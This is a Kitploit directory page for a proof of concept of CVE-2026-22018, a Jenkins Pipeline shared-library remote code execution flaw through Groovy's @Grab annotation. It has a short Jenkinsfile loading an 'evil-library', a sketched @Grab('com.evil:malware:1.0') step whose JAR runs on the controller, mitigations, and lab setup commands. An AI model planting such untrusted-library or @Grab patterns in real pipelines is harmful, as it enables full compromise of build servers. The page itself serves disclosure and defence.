Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-22018-Jenkins-Pipeline-Shared-Library-Code-Execution-via-Grab- — PoC for CVE-2026-22018, a critical Jenkins Pipeline Shared Library RCE via Groovy @Grab, demonstrating supply-chain code injection and mitigation steps. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-22018-jenkins-pipeline-shared-library-code-execution-via-grab-
Vulnerability AnalysisExploitationWeb Application ExploitationDevSecOpsSupply Chain Security
GitHubgeorge0papasotiriou/cve-2026-22018-jenkins-pipeline-shared-library-code-execution-via-grab-

CVE-2026-22018-Jenkins-Pipeline-Shared-Library-Code-Execution-via-Grab-

PoC for CVE-2026-22018, a critical Jenkins Pipeline Shared Library RCE via Groovy @Grab, demonstrating supply-chain code injection and mitigation steps.

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-22018 – Jenkins Pipeline Shared Library Code Execution via @Grab

Program Code (Groovy pipeline)

root@kitploit:~
// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Jenkins Pipeline Shared Library Remote Code Execution

Severity: Critical

Overview

A Jenkins pipeline loads a shared library from a source not fully trusted. The library uses the @Grab annotation to download external Maven artifacts, which can include a malicious class that executes code on the Jenkins controller during Groovy compilation.

Vulnerability Details

  • Type: Code Injection / Supply Chain
  • Impact: Full Jenkins controller compromise.
  • Root Cause: Groovy’s @Grab annotation fetches and loads arbitrary JARs at runtime; shared libraries are not sandboxed.

Exploit Demonstration

Configure a pipeline with an untrusted library that contains @Grab('com.evil:malware:1.0') in its vars/evilStep.groovy. When the pipeline runs, the malicious JAR’s static initializer executes.

Mitigation

  • Only use shared libraries from trusted, signed SCM repositories.
  • Disable @Grab via Groovy sandbox security settings.
  • Use the “Load implicitly” pipeline option carefully.

Installation & Usage

root@kitploit:~
git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.
Download Tool